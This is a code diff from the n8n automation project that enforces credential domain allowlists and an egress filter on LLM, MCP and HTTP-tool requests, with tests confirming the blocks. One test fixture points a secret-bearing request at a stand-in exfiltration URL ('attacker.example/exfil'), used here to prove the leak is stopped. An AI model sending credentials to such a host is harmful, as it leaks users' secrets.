||||||
|
});
|
||||||
uri = `${options.baseURL}/models`;
|
uri = `${options.baseURL}/models`;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -216,6 +225,7 @@ export class LmOpenAi implements INodeType {
|
||||||
method: 'GET',
|
method: 'GET',
|
||||||
uri,
|
uri,
|
||||||
json: true,
|
json: true,
|
||||||
|
allowedDomains,
|
||||||
})) as { data: Array<{ owned_by: string; id: string }> };
|
})) as { data: Array<{ owned_by: string; id: string }> };
|
||||||
|
|
||||||
for (const model of data) {
|
for (const model of data) {
|
||||||
|
|
@ -264,6 +274,13 @@ export class LmOpenAi implements INodeType {
|
||||||
};
|
};
|
||||||
|
|
||||||
if (options.baseURL) {
|
if (options.baseURL) {
|
||||||
|
assertCredentialAllowsUrl({
|
||||||
|
node: this.getNode(),
|
||||||
|
credentialData: credentials,
|
||||||
|
url: options.baseURL,
|
||||||
|
pinnedUrl: typeof credentials.url === 'string' ? credentials.url : undefined,
|
||||||
|
surface: 'OpenAI',
|
||||||
|
});
|
||||||
configuration.baseURL = options.baseURL;
|
configuration.baseURL = options.baseURL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,6 @@
|
||||||
import { HuggingFaceInference } from '@langchain/community/llms/hf';
|
import { HuggingFaceInference } from '@langchain/community/llms/hf';
|
||||||
import {
|
import {
|
||||||
|
assertCredentialAllowsUrl,
|
||||||
NodeConnectionTypes,
|
NodeConnectionTypes,
|
||||||
type INodeType,
|
type INodeType,
|
||||||
type INodeTypeDescription,
|
type INodeTypeDescription,
|
||||||
|
|
@ -138,7 +139,15 @@ export class LmOpenHuggingFaceInference implements INodeType {
|
||||||
const credentials = await this.getCredentials('huggingFaceApi');
|
const credentials = await this.getCredentials('huggingFaceApi');
|
||||||
|
|
||||||
const modelName = this.getNodeParameter('model', itemIndex) as string;
|
const modelName = this.getNodeParameter('model', itemIndex) as string;
|
||||||
const options = this.getNodeParameter('options', itemIndex, {}) as object;
|
const options = this.getNodeParameter('options', itemIndex, {}) as { endpointUrl?: string };
|
||||||
|
|
||||||
|
if (options.endpointUrl) {
|
||||||
|
assertCredentialAllowsUrl({
|
||||||
|
node: this.getNode(),
|
||||||
|
credentialData: credentials,
|
||||||
|
url: options.endpointUrl,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
// LangChain does not yet support specifying Provider
|
// LangChain does not yet support specifying Provider
|
||||||
// That's why mistral's model is the default value
|
// That's why mistral's model is the default value
|
||||||
|
|
|
||||||
|
|
@ -2,7 +2,7 @@
|
||||||
import { OpenAI } from '@langchain/openai';
|
import { OpenAI } from '@langchain/openai';
|
||||||
import { makeN8nLlmFailedAttemptHandler, N8nLlmTracing, getProxyAgent } from '@n8n/ai-utilities';
|
import { makeN8nLlmFailedAttemptHandler, N8nLlmTracing, getProxyAgent } from '@n8n/ai-utilities';
|
||||||
import { createMockExecuteFunction } from 'n8n-nodes-base/test/nodes/Helpers';
|
import { createMockExecuteFunction } from 'n8n-nodes-base/test/nodes/Helpers';
|
||||||
import type { INode, ISupplyDataFunctions } from 'n8n-workflow';
|
import type { ILoadOptionsFunctions, INode, ISupplyDataFunctions } from 'n8n-workflow';
|
||||||
import type { Mocked } from 'vitest';
|
import type { Mocked } from 'vitest';
|
||||||
|
|
||||||
import { LmOpenAi } from '../LMOpenAi/LmOpenAi.node';
|
import { LmOpenAi } from '../LMOpenAi/LmOpenAi.node';
|
||||||
|
|
@ -91,5 +91,102 @@ describe('LmOpenAi', () => {
|
||||||
redactedHeaders: ['x-custom-header'],
|
redactedHeaders: ['x-custom-header'],
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should reject a baseURL override that the credential domain restriction disallows', async () => {
|
||||||
|
const mockContext = setupMockContext({
|
||||||
|
apiKey: 'test-api-key',
|
||||||
|
allowedHttpRequestDomains: 'domains',
|
||||||
|
allowedDomains: 'api.openai.com',
|
||||||
|
});
|
||||||
|
mockContext.getNodeParameter = vi.fn().mockImplementation((paramName: string) => {
|
||||||
|
if (paramName === 'model') return 'gpt-3.5-turbo-instruct';
|
||||||
|
if (paramName === 'options') return { baseURL: 'http://127.0.0.1:9099/v1' };
|
||||||
|
return undefined;
|
||||||
|
});
|
||||||
|
|
||||||
|
await expect(lmOpenAi.supplyData.call(mockContext, 0)).rejects.toThrow('Domain not allowed');
|
||||||
|
expect(OpenAI).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should allow a baseURL override that the credential domain restriction permits', async () => {
|
||||||
|
const mockContext = setupMockContext({
|
||||||
|
apiKey: 'test-api-key',
|
||||||
|
allowedHttpRequestDomains: 'domains',
|
||||||
|
allowedDomains: 'api.openai.com',
|
||||||
|
});
|
||||||
|
mockContext.getNodeParameter = vi.fn().mockImplementation((paramName: string) => {
|
||||||
|
if (paramName === 'model') return 'gpt-3.5-turbo-instruct';
|
||||||
|
if (paramName === 'options') return { baseURL: 'https://api.openai.com/v1' };
|
||||||
|
return undefined;
|
||||||
|
});
|
||||||
|
|
||||||
|
await lmOpenAi.supplyData.call(mockContext, 0);
|
||||||
|
expect(OpenAI).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('openAiModelSearch', () => {
|
||||||
|
const setupMockLoadContext = (
|
||||||
|
credentials: Record<string, unknown>,
|
||||||
|
options: Record<string, unknown>,
|
||||||
|
) => {
|
||||||
|
const requestWithAuthentication = vi.fn().mockResolvedValue({ data: [] });
|
||||||
|
|
||||||
|
return {
|
||||||
|
getCredentials: vi.fn().mockResolvedValue(credentials),
|
||||||
|
getNode: vi.fn().mockReturnValue(mockNode),
|
||||||
|
getNodeParameter: vi.fn().mockImplementation((paramName: string) => {
|
||||||
|
if (paramName === 'options') return options;
|
||||||
|
return undefined;
|
||||||
|
}),
|
||||||
|
helpers: {
|
||||||
|
requestWithAuthentication,
|
||||||
|
},
|
||||||
|
} as unknown as Mocked<ILoadOptionsFunctions> & {
|
||||||
|
helpers: { requestWithAuthentication: typeof requestWithAuthentication };
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
it('should not send credentials to a domain the credential restricts', async () => {
|
||||||
|
const mockLoadContext = setupMockLoadContext(
|
||||||
|
{
|
||||||
|
apiKey: 'test-api-key',
|
||||||
|
allowedHttpRequestDomains: 'domains',
|
||||||
|
allowedDomains: 'api.openai.com',
|
||||||
|
},
|
||||||
|
{ baseURL: 'http://127.0.0.1:9099/v1' },
|
||||||
|
);
|
||||||
|
|
||||||
|
await expect(
|
||||||
|
lmOpenAi.methods.listSearch.openAiModelSearch.call(mockLoadContext),
|
||||||
|
).rejects.toThrow('Domain not allowed');
|
||||||
|
expect(mockLoadContext.helpers.requestWithAuthentication).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should forward the allowed domains to the request when the base URL is on the allowlist', async () => {
|
||||||
|
const mockLoadContext = setupMockLoadContext(
|
||||||
|
{
|
||||||
|
apiKey: 'test-api-key',
|
||||||
|
allowedHttpRequestDomains: 'domains',
|
||||||
|
allowedDomains: 'api.openai.com',
|
||||||
|
},
|
||||||
|
{ baseURL: 'https://api.openai.com/v1' },
|
||||||
|
);
|
||||||
|
mockLoadContext.helpers.requestWithAuthentication.mockResolvedValue({
|
||||||
|
data: [{ id: 'gpt-4', owned_by: 'system' }],
|
||||||
|
});
|
||||||
|
|
||||||
|
await expect(
|
||||||
|
lmOpenAi.methods.listSearch.openAiModelSearch.call(mockLoadContext),
|
||||||
|
).resolves.toBeDefined();
|
||||||
|
|
||||||
|
expect(mockLoadContext.helpers.requestWithAuthentication).toHaveBeenCalledWith(
|
||||||
|
'openAiApi',
|
||||||
|
expect.objectContaining({
|
||||||
|
uri: 'https://api.openai.com/v1/models',
|
||||||
|
allowedDomains: 'api.openai.com',
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,71 @@
|
||||||
|
/* eslint-disable n8n-nodes-base/node-filename-against-convention */
|
||||||
|
import { HuggingFaceInference } from '@langchain/community/llms/hf';
|
||||||
|
import { createMockExecuteFunction } from 'n8n-nodes-base/test/nodes/Helpers';
|
||||||
|
import type { INode, ISupplyDataFunctions } from 'n8n-workflow';
|
||||||
|
import type { Mocked } from 'vitest';
|
||||||
|
|
||||||
|
import { LmOpenHuggingFaceInference } from '../LMOpenHuggingFaceInference/LmOpenHuggingFaceInference.node';
|
||||||
|
|
||||||
|
vi.mock('@langchain/community/llms/hf');
|
||||||
|
vi.mock('@n8n/ai-utilities');
|
||||||
|
|
||||||
|
describe('LmOpenHuggingFaceInference', () => {
|
||||||
|
let node: LmOpenHuggingFaceInference;
|
||||||
|
|
||||||
|
const mockNode: INode = {
|
||||||
|
id: '1',
|
||||||
|
name: 'Hugging Face Inference Model',
|
||||||
|
typeVersion: 1,
|
||||||
|
type: 'n8n-nodes-langchain.lmOpenHuggingFaceInference',
|
||||||
|
position: [0, 0],
|
||||||
|
parameters: {},
|
||||||
|
};
|
||||||
|
|
||||||
|
const setup = (credentials: Record<string, unknown>, options: Record<string, unknown>) => {
|
||||||
|
const ctx = createMockExecuteFunction<ISupplyDataFunctions>(
|
||||||
|
{},
|
||||||
|
mockNode,
|
||||||
|
) as Mocked<ISupplyDataFunctions>;
|
||||||
|
ctx.getCredentials = vi.fn().mockResolvedValue(credentials);
|
||||||
|
ctx.getNode = vi.fn().mockReturnValue(mockNode);
|
||||||
|
ctx.getNodeParameter = vi.fn().mockImplementation((paramName: string) => {
|
||||||
|
if (paramName === 'model') return 'mistralai/Mistral-Nemo-Base-2407';
|
||||||
|
if (paramName === 'options') return options;
|
||||||
|
return undefined;
|
||||||
|
});
|
||||||
|
return ctx;
|
||||||
|
};
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
node = new LmOpenHuggingFaceInference();
|
||||||
|
vi.clearAllMocks();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject a custom endpoint URL the credential domain restriction disallows', async () => {
|
||||||
|
const ctx = setup(
|
||||||
|
{
|
||||||
|
apiKey: 'k',
|
||||||
|
allowedHttpRequestDomains: 'domains',
|
||||||
|
allowedDomains: 'api-inference.huggingface.co',
|
||||||
|
},
|
||||||
|
{ endpointUrl: 'http://127.0.0.1:9099' },
|
||||||
|
);
|
||||||
|
|
||||||
|
await expect(node.supplyData.call(ctx, 0)).rejects.toThrow('Domain not allowed');
|
||||||
|
expect(HuggingFaceInference).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should allow a custom endpoint URL the credential domain restriction permits', async () => {
|
||||||
|
const ctx = setup(
|
||||||
|
{
|
||||||
|
apiKey: 'k',
|
||||||
|
allowedHttpRequestDomains: 'domains',
|
||||||
|
allowedDomains: 'my-endpoint.example.com',
|
||||||
|
},
|
||||||
|
{ endpointUrl: 'https://my-endpoint.example.com' },
|
||||||
|
);
|
||||||
|
|
||||||
|
await node.supplyData.call(ctx, 0);
|
||||||
|
expect(HuggingFaceInference).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -311,10 +311,15 @@ describe('McpClientTool', () => {
|
||||||
// Verify the eventSourceInit fetch injects auth headers and Accept header
|
// Verify the eventSourceInit fetch injects auth headers and Accept header
|
||||||
const customFetch = vi.mocked(SSEClientTransport).mock.calls[0][1]?.eventSourceInit?.fetch;
|
const customFetch = vi.mocked(SSEClientTransport).mock.calls[0][1]?.eventSourceInit?.fetch;
|
||||||
await customFetch?.(url, {} as any);
|
await customFetch?.(url, {} as any);
|
||||||
expect(mockedProxyFetch).toHaveBeenCalledWith(url, {
|
expect(mockedProxyFetch).toHaveBeenCalledWith(
|
||||||
headers: { Accept: 'text/event-stream', 'my-header': 'header-value' },
|
url,
|
||||||
redirect: 'manual',
|
{
|
||||||
});
|
headers: { Accept: 'text/event-stream', 'my-header': 'header-value' },
|
||||||
|
redirect: 'manual',
|
||||||
|
},
|
||||||
|
undefined,
|
||||||
|
undefined,
|
||||||
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should support bearer auth', async () => {
|
it('should support bearer auth', async () => {
|
||||||
|
|
@ -363,10 +368,15 @@ describe('McpClientTool', () => {
|
||||||
// Verify the eventSourceInit fetch injects auth headers and Accept header
|
// Verify the eventSourceInit fetch injects auth headers and Accept header
|
||||||
const customFetch = vi.mocked(SSEClientTransport).mock.calls[0][1]?.eventSourceInit?.fetch;
|
const customFetch = vi.mocked(SSEClientTransport).mock.calls[0][1]?.eventSourceInit?.fetch;
|
||||||
await customFetch?.(url, {} as any);
|
await customFetch?.(url, {} as any);
|
||||||
expect(mockedProxyFetch).toHaveBeenCalledWith(url, {
|
expect(mockedProxyFetch).toHaveBeenCalledWith(
|
||||||
headers: { Accept: 'text/event-stream', Authorization: 'Bearer my-token' },
|
url,
|
||||||
redirect: 'manual',
|
{
|
||||||
});
|
headers: { Accept: 'text/event-stream', Authorization: 'Bearer my-token' },
|
||||||
|
redirect: 'manual',
|
||||||
|
},
|
||||||
|
undefined,
|
||||||
|
undefined,
|
||||||
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should successfully execute a tool', async () => {
|
it('should successfully execute a tool', async () => {
|
||||||
|
|
|
||||||
|
|
@ -2,7 +2,8 @@ import { Client } from '@modelcontextprotocol/sdk/client/index.js';
|
||||||
import { SSEClientTransport } from '@modelcontextprotocol/sdk/client/sse.js';
|
import { SSEClientTransport } from '@modelcontextprotocol/sdk/client/sse.js';
|
||||||
import { StreamableHTTPClientTransport } from '@modelcontextprotocol/sdk/client/streamableHttp.js';
|
import { StreamableHTTPClientTransport } from '@modelcontextprotocol/sdk/client/streamableHttp.js';
|
||||||
import { proxyFetch } from '@n8n/ai-utilities';
|
import { proxyFetch } from '@n8n/ai-utilities';
|
||||||
import type { IExecuteFunctions, INode } from 'n8n-workflow';
|
import { createResultError, createResultOk } from '@n8n/utils/result';
|
||||||
|
import type { IExecuteFunctions, INode, NodeEgressFilter } from 'n8n-workflow';
|
||||||
import type { Mock, MockedClass, MockedFunction } from 'vitest';
|
import type { Mock, MockedClass, MockedFunction } from 'vitest';
|
||||||
import { mockDeep } from 'vitest-mock-extended';
|
import { mockDeep } from 'vitest-mock-extended';
|
||||||
import { expect } from 'vitest';
|
import { expect } from 'vitest';
|
||||||
|
|
@ -10,6 +11,7 @@ import { expect } from 'vitest';
|
||||||
import type { McpAuthenticationOption } from '../types';
|
import type { McpAuthenticationOption } from '../types';
|
||||||
import {
|
import {
|
||||||
connectMcpClient,
|
connectMcpClient,
|
||||||
|
connectMcpClientForCredential,
|
||||||
getAuthHeaders,
|
getAuthHeaders,
|
||||||
mapToNodeOperationError,
|
mapToNodeOperationError,
|
||||||
tryRefreshOAuth2Token,
|
tryRefreshOAuth2Token,
|
||||||
|
|
@ -675,6 +677,69 @@ describe('utils', () => {
|
||||||
expect(result.ok).toBe(true);
|
expect(result.ok).toBe(true);
|
||||||
expect(mockedProxyFetch).toHaveBeenCalledTimes(1);
|
expect(mockedProxyFetch).toHaveBeenCalledTimes(1);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should block requests to a target rejected by the instance egress filter', async () => {
|
||||||
|
mockClient.connect.mockResolvedValue(undefined);
|
||||||
|
mockedProxyFetch.mockResolvedValue(new Response('ok', { status: 200 }));
|
||||||
|
|
||||||
|
const secureLookup = vi.fn();
|
||||||
|
const egressFilter: NodeEgressFilter = {
|
||||||
|
validateUrl: vi.fn().mockResolvedValue(createResultError(new Error('Egress blocked'))),
|
||||||
|
createSecureLookup: vi.fn().mockReturnValue(secureLookup),
|
||||||
|
};
|
||||||
|
|
||||||
|
const ctx = mockDeep<IExecuteFunctions>();
|
||||||
|
ctx.getNode.mockReturnValue({ type: 'test-client', typeVersion: 1 } as unknown as INode);
|
||||||
|
ctx.helpers.getSecureEgressFilter.mockReturnValue(egressFilter);
|
||||||
|
|
||||||
|
const result = await connectMcpClientForCredential(ctx, {
|
||||||
|
authentication: 'none',
|
||||||
|
serverTransport: transport,
|
||||||
|
endpointUrl: 'https://blocked.example.com/',
|
||||||
|
surface: 'MCP Client Tool',
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(result.ok).toBe(true);
|
||||||
|
|
||||||
|
const [, opts] = (TransportClass as Mock).mock.calls[0];
|
||||||
|
|
||||||
|
// The egress filter must reject the target before any request is sent.
|
||||||
|
await expect(opts.fetch('https://blocked.example.com/', {})).rejects.toThrow(
|
||||||
|
'Egress blocked',
|
||||||
|
);
|
||||||
|
expect(egressFilter.validateUrl).toHaveBeenCalledWith('https://blocked.example.com/');
|
||||||
|
expect(mockedProxyFetch).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should allow requests to a target accepted by the instance egress filter', async () => {
|
||||||
|
mockClient.connect.mockResolvedValue(undefined);
|
||||||
|
mockedProxyFetch.mockResolvedValue(new Response('ok', { status: 200 }));
|
||||||
|
|
||||||
|
const secureLookup = vi.fn();
|
||||||
|
const egressFilter: NodeEgressFilter = {
|
||||||
|
validateUrl: vi.fn().mockResolvedValue(createResultOk(undefined)),
|
||||||
|
createSecureLookup: vi.fn().mockReturnValue(secureLookup),
|
||||||
|
};
|
||||||
|
|
||||||
|
const ctx = mockDeep<IExecuteFunctions>();
|
||||||
|
ctx.getNode.mockReturnValue({ type: 'test-client', typeVersion: 1 } as unknown as INode);
|
||||||
|
ctx.helpers.getSecureEgressFilter.mockReturnValue(egressFilter);
|
||||||
|
|
||||||
|
const result = await connectMcpClientForCredential(ctx, {
|
||||||
|
authentication: 'none',
|
||||||
|
serverTransport: transport,
|
||||||
|
endpointUrl: 'https://mcp.example.com/',
|
||||||
|
surface: 'MCP Client Tool',
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(result.ok).toBe(true);
|
||||||
|
|
||||||
|
const [, opts] = (TransportClass as Mock).mock.calls[0];
|
||||||
|
await opts.fetch('https://mcp.example.com/', {});
|
||||||
|
|
||||||
|
expect(egressFilter.validateUrl).toHaveBeenCalledWith('https://mcp.example.com/');
|
||||||
|
expect(mockedProxyFetch).toHaveBeenCalledTimes(1);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -10,6 +10,7 @@ import type {
|
||||||
ILoadOptionsFunctions,
|
ILoadOptionsFunctions,
|
||||||
INode,
|
INode,
|
||||||
ISupplyDataFunctions,
|
ISupplyDataFunctions,
|
||||||
|
NodeEgressFilter,
|
||||||
} from 'n8n-workflow';
|
} from 'n8n-workflow';
|
||||||
import { assertCredentialAllowsUrl, assertUrlAllowed, NodeOperationError } from 'n8n-workflow';
|
import { assertCredentialAllowsUrl, assertUrlAllowed, NodeOperationError } from 'n8n-workflow';
|
||||||
|
|
||||||
|
|
@ -137,6 +138,7 @@ export async function connectMcpClient({
|
||||||
onUnauthorized,
|
onUnauthorized,
|
||||||
signal,
|
signal,
|
||||||
allowedDomains,
|
allowedDomains,
|
||||||
|
secureEgressFilter,
|
||||||
}: {
|
}: {
|
||||||
serverTransport: McpServerTransport;
|
serverTransport: McpServerTransport;
|
||||||
endpointUrl: string;
|
endpointUrl: string;
|
||||||
|
|
@ -150,6 +152,12 @@ export async function connectMcpClient({
|
||||||
* (including redirect hops) is validated against it via `assertUrlAllowed`.
|
* (including redirect hops) is validated against it via `assertUrlAllowed`.
|
||||||
*/
|
*/
|
||||||
allowedDomains?: string;
|
allowedDomains?: string;
|
||||||
|
/**
|
||||||
|
* Instance egress filter. When set, every request (including redirect hops)
|
||||||
|
* is validated against the configured egress policy, and the connection is
|
||||||
|
* pinned to the validated address.
|
||||||
|
*/
|
||||||
|
secureEgressFilter?: NodeEgressFilter;
|
||||||
}): Promise<Result<Client, ConnectMcpClientError>> {
|
}): Promise<Result<Client, ConnectMcpClientError>> {
|
||||||
const endpoint = normalizeAndValidateUrl(endpointUrl);
|
const endpoint = normalizeAndValidateUrl(endpointUrl);
|
||||||
|
|
||||||
|
|
@ -157,7 +165,7 @@ export async function connectMcpClient({
|
||||||
return createResultError({ type: 'invalid_url', error: endpoint.error });
|
return createResultError({ type: 'invalid_url', error: endpoint.error });
|
||||||
}
|
}
|
||||||
|
|
||||||
const authFetch = createAuthFetch(headers, onUnauthorized, allowedDomains);
|
const authFetch = createAuthFetch(headers, onUnauthorized, allowedDomains, secureEgressFilter);
|
||||||
const client = new Client({ name, version: version.toString() }, { capabilities: {} });
|
const client = new Client({ name, version: version.toString() }, { capabilities: {} });
|
||||||
|
|
||||||
let onAbort: (() => void) | undefined;
|
let onAbort: (() => void) | undefined;
|
||||||
|
|
@ -276,23 +284,30 @@ function headersToRecord(headers: HeadersInit | undefined): Record<string, strin
|
||||||
* - injects auth headers into every request,
|
* - injects auth headers into every request,
|
||||||
* - retries once on 401 after refreshing the token via onUnauthorized,
|
* - retries once on 401 after refreshing the token via onUnauthorized,
|
||||||
* - validates the initial URL and every redirect hop against `allowedDomains`
|
* - validates the initial URL and every redirect hop against `allowedDomains`
|
||||||
* so credentials are never sent to a host the credential doesn't allow.
|
* so credentials are never sent to a host the credential doesn't allow,
|
||||||
|
* - validates the initial URL and every redirect hop against the instance
|
||||||
|
* `secureEgressFilter`, and pins the connection to the validated address.
|
||||||
*/
|
*/
|
||||||
function createAuthFetch(
|
function createAuthFetch(
|
||||||
initialHeaders: Record<string, string> | undefined,
|
initialHeaders: Record<string, string> | undefined,
|
||||||
onUnauthorized?: OnUnauthorizedHandler,
|
onUnauthorized?: OnUnauthorizedHandler,
|
||||||
allowedDomains?: string,
|
allowedDomains?: string,
|
||||||
|
secureEgressFilter?: NodeEgressFilter,
|
||||||
): typeof fetch {
|
): typeof fetch {
|
||||||
let headers = initialHeaders;
|
let headers = initialHeaders;
|
||||||
|
|
||||||
|
const secureLookup = secureEgressFilter?.createSecureLookup();
|
||||||
|
|
||||||
|
const doFetch = async (input: RequestInfo | URL, init?: RequestInit): Promise<Response> =>
|
||||||
|
await proxyFetch(
|
||||||
|
input,
|
||||||
|
{ ...init, headers: { ...headersToRecord(init?.headers), ...headers } },
|
||||||
|
undefined,
|
||||||
|
secureLookup,
|
||||||
|
);
|
||||||
|
|
||||||
const authedFetch = async (input: RequestInfo | URL, init?: RequestInit): Promise<Response> => {
|
const authedFetch = async (input: RequestInfo | URL, init?: RequestInit): Promise<Response> => {
|
||||||
const response = await proxyFetch(input, {
|
const response = await doFetch(input, init);
|
||||||
...init,
|
|
||||||
headers: {
|
|
||||||
...headersToRecord(init?.headers),
|
|
||||||
...headers,
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
if (response.status !== 401 || !onUnauthorized) {
|
if (response.status !== 401 || !onUnauthorized) {
|
||||||
return response;
|
return response;
|
||||||
|
|
@ -304,13 +319,7 @@ function createAuthFetch(
|
||||||
}
|
}
|
||||||
|
|
||||||
headers = refreshedHeaders;
|
headers = refreshedHeaders;
|
||||||
return await proxyFetch(input, {
|
return await doFetch(input, init);
|
||||||
...init,
|
|
||||||
headers: {
|
|
||||||
...headersToRecord(init?.headers),
|
|
||||||
...headers,
|
|
||||||
},
|
|
||||||
});
|
|
||||||
};
|
};
|
||||||
|
|
||||||
return async (input: RequestInfo | URL, init?: RequestInit): Promise<Response> => {
|
return async (input: RequestInfo | URL, init?: RequestInit): Promise<Response> => {
|
||||||
|
|
@ -318,7 +327,13 @@ function createAuthFetch(
|
||||||
// unwrapped to their URL so the redirect loop can carry a stable input.
|
// unwrapped to their URL so the redirect loop can carry a stable input.
|
||||||
const startUrl = input instanceof Request ? input.url : input;
|
const startUrl = input instanceof Request ? input.url : input;
|
||||||
return await fetchFollowingRedirects(authedFetch, startUrl, init, {
|
return await fetchFollowingRedirects(authedFetch, startUrl, init, {
|
||||||
onBeforeHop: (hopUrl) => assertUrlAllowed({ url: hopUrl, allowedDomains }),
|
onBeforeHop: async (hopUrl) => {
|
||||||
|
assertUrlAllowed({ url: hopUrl, allowedDomains });
|
||||||
|
if (secureEgressFilter) {
|
||||||
|
const result = await secureEgressFilter.validateUrl(hopUrl);
|
||||||
|
if (!result.ok) throw result.error;
|
||||||
|
}
|
||||||
|
},
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
@ -473,6 +488,7 @@ export async function connectMcpClientForCredential(
|
||||||
endpointUrl: config.endpointUrl,
|
endpointUrl: config.endpointUrl,
|
||||||
headers,
|
headers,
|
||||||
allowedDomains,
|
allowedDomains,
|
||||||
|
secureEgressFilter: ctx.helpers.getSecureEgressFilter?.(),
|
||||||
name: node.type,
|
name: node.type,
|
||||||
version: node.typeVersion,
|
version: node.typeVersion,
|
||||||
onUnauthorized: async (h) => await tryRefreshOAuth2Token(ctx, config.authentication, h),
|
onUnauthorized: async (h) => await tryRefreshOAuth2Token(ctx, config.authentication, h),
|
||||||
|
|
|
||||||
|
|
@ -238,6 +238,81 @@ describe('ToolHttpRequest', () => {
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should not send generic credentials to a domain the credential restricts', async () => {
|
||||||
|
executeFunctions.getNodeParameter.mockImplementation((paramName: string) => {
|
||||||
|
switch (paramName) {
|
||||||
|
case 'method':
|
||||||
|
return 'GET';
|
||||||
|
case 'url':
|
||||||
|
return 'http://attacker.example/exfil';
|
||||||
|
case 'authentication':
|
||||||
|
return 'genericCredentialType';
|
||||||
|
case 'genericAuthType':
|
||||||
|
return 'httpHeaderAuth';
|
||||||
|
case 'options':
|
||||||
|
return {};
|
||||||
|
case 'placeholderDefinitions.values':
|
||||||
|
return [];
|
||||||
|
default:
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
executeFunctions.getCredentials.mockResolvedValue({
|
||||||
|
name: 'X-Secret-Token',
|
||||||
|
value: 'SECRET-TOOLHTTP-CANARY',
|
||||||
|
allowedHttpRequestDomains: 'domains',
|
||||||
|
allowedDomains: 'api.example.com',
|
||||||
|
});
|
||||||
|
|
||||||
|
const { response } = await httpTool.supplyData.call(executeFunctions, 0);
|
||||||
|
const res = await (response as N8nTool).invoke({});
|
||||||
|
|
||||||
|
expect(helpers.httpRequest).not.toHaveBeenCalled();
|
||||||
|
expect(res).toContain('Domain not allowed');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should send generic credentials to a domain the credential allows', async () => {
|
||||||
|
helpers.httpRequest.mockResolvedValue({
|
||||||
|
body: 'Hello World',
|
||||||
|
headers: { 'content-type': 'text/plain' },
|
||||||
|
});
|
||||||
|
|
||||||
|
executeFunctions.getNodeParameter.mockImplementation((paramName: string) => {
|
||||||
|
switch (paramName) {
|
||||||
|
case 'method':
|
||||||
|
return 'GET';
|
||||||
|
case 'url':
|
||||||
|
return 'https://api.example.com/data';
|
||||||
|
case 'authentication':
|
||||||
|
return 'genericCredentialType';
|
||||||
|
case 'genericAuthType':
|
||||||
|
return 'httpHeaderAuth';
|
||||||
|
case 'options':
|
||||||
|
return {};
|
||||||
|
case 'placeholderDefinitions.values':
|
||||||
|
return [];
|
||||||
|
default:
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
executeFunctions.getCredentials.mockResolvedValue({
|
||||||
|
name: 'X-Secret-Token',
|
||||||
|
value: 'SECRET-TOOLHTTP-CANARY',
|
||||||
|
allowedHttpRequestDomains: 'domains',
|
||||||
|
allowedDomains: 'api.example.com',
|
||||||
|
});
|
||||||
|
|
||||||
|
const { response } = await httpTool.supplyData.call(executeFunctions, 0);
|
||||||
|
const res = await (response as N8nTool).invoke({});
|
||||||
|
|
||||||
|
expect(helpers.httpRequest).toHaveBeenCalledWith(
|
||||||
|
expect.objectContaining({ allowedDomains: 'api.example.com' }),
|
||||||
|
);
|
||||||
|
expect(res).toEqual('Hello World');
|
||||||
|
});
|
||||||
|
|
||||||
it('should return the error when receiving text that contains a null character', async () => {
|
it('should return the error when receiving text that contains a null character', async () => {
|
||||||
helpers.httpRequest.mockResolvedValue({
|
helpers.httpRequest.mockResolvedValue({
|
||||||
body: 'Hello\0World',
|
body: 'Hello\0World',
|
||||||
|
|
|
||||||
|
|
@ -13,8 +13,14 @@ import type {
|
||||||
ExecutionError,
|
ExecutionError,
|
||||||
NodeApiError,
|
NodeApiError,
|
||||||
ISupplyDataFunctions,
|
ISupplyDataFunctions,
|
||||||
|
ICredentialDataDecryptedObject,
|
||||||
|
} from 'n8n-workflow';
|
||||||
|
import {
|
||||||
|
assertCredentialAllowsUrl,
|
||||||
|
NodeConnectionTypes,
|
||||||
|
NodeOperationError,
|
||||||
|
jsonParse,
|
||||||
} from 'n8n-workflow';
|
} from 'n8n-workflow';
|
||||||
import { NodeConnectionTypes, NodeOperationError, jsonParse } from 'n8n-workflow';
|
|
||||||
import { z } from 'zod';
|
import { z } from 'zod';
|
||||||
|
|
||||||
import type {
|
import type {
|
||||||
|
|
@ -27,6 +33,24 @@ import type {
|
||||||
} from './interfaces';
|
} from './interfaces';
|
||||||
import type { DynamicZodObject } from '../../../types/zod.types';
|
import type { DynamicZodObject } from '../../../types/zod.types';
|
||||||
|
|
||||||
|
// Enforce the credential's "Allowed HTTP Request Domains" restriction against the
|
||||||
|
// request URL before the secret is attached, so a tool-controlled URL can't leak it.
|
||||||
|
// The resulting allowlist is forwarded onto the options so the HTTP layer re-checks
|
||||||
|
// every redirect hop too, not just the initial URL.
|
||||||
|
const assertCredentialUrlAllowed = (
|
||||||
|
ctx: ISupplyDataFunctions,
|
||||||
|
